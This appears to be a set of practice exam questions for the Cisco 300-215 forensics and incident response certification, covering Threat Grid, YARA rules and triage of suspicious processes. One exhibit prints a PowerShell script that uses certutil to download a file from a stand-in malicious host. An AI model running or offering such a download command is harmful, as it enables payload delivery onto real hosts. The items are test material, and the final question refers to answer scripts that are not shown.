Cisco Conducting Forensic Analysis & Incident Response Using Cisco Technologies for CyberOps : 300-215

A security team received an alert of suspicious activity on a user's Internet browser. The user's anti-virus software indicated that the file attempted to create a fake recycle bin folder and connect to an external IP address. Which two actions should be taken by the security analyst with the executable file for further analysis? (Choose two.)

• A. Evaluate the behavioral indicators in Cisco Secure Malware Analytics (Threat Grid).
• B. Network Exit Localization in Cisco Secure Malware Analytics (Threat Grid).
• C. Evaluate the process activity in Cisco Umbrella.
• D. Analyze the TCP/IP Streams in Cisco Secure Malware Analytics (Threat Grid).
• E. Analyze the Magic File type in Cisco Umbrella.

What is the purpose of YARA rules in malware analysis and now do the rules atd in identifying, classifying, and documenting malware?

• A. They create a backup of identified malware and classify it according to its origin and source
• B. They use specific static patterns and attributes to identify and classify matware, characterizing its nature
• C. They encrypt identified malware on a system to prevent execution of files with the same classification
• D. They automatically remove malware from an infected system while documenting the behavior of the APT

Refer to the exhibit.
$datePath = " certutil-$(Get-Date -format yyyy_MM_dd) "
New-Item -Path $datePath -ItemType Directory
Set-Location $datePath
certutil -verifyctl -split -f https://malware.com/XY874HZ.txt
Get-ChildItem | Where-Object {$_.Name -notlike " *.txt " } | ForEach-Object { Move-Item $_.Name -Destination XY874HZ.txt
}
During a threat-intelligence review, a cybersecurity analyst evaluates artifacts from a recent incident involving a compromised server. The artifacts include a script that uses certutil to download files from a suspicious URL. This finding is critical for determining the threat-actor profile responsible for the attack.
Which threat-actor profile aligns with the artifacts?

• A. Leviathan leveraged BITSAdmin to acquire tools and propagate within the network.
• B. Frankenstein gathered data to forward automatically to the command-and-control server.
• C. Cobalt Group used certutil to exfiltrate files from victim systems.
• D. APT41 employed certutil to download additional files onto compromised hosts.

A security team is notified from a Cisco ESA solution that an employee received an advertising email with an attached .pdf extension file. The employee opened the attachment, which appeared to be an empty document.
The security analyst cannot identify clear signs of compromise but reviews running processes and determines that PowerShell.exe was spawned by CMD.exe with a grandparent AcroRd32.exe process. Which two actions should be taken to resolve this issue? (Choose two.)

• A. Quarantine this workstation for further investigation, as this event is an indication of suspicious activity.
• B. Upload the .pdf file to Cisco Threat Grid and analyze suspicious activity in depth.
• C. Check the Windows Event Viewer for security logs about the incident.
• D. No action is required because this behavior is standard for .pdf files.
• E. Investigate the reputation of the sender address and temporarily block all communications with this email domain.

Which scripts will search a log file for the IP address of 192.168.100.100 and create an output file named parsed_host.log while printing results to the console?

• A. Option D
• B. Option A
• C. Option C
• D. Option B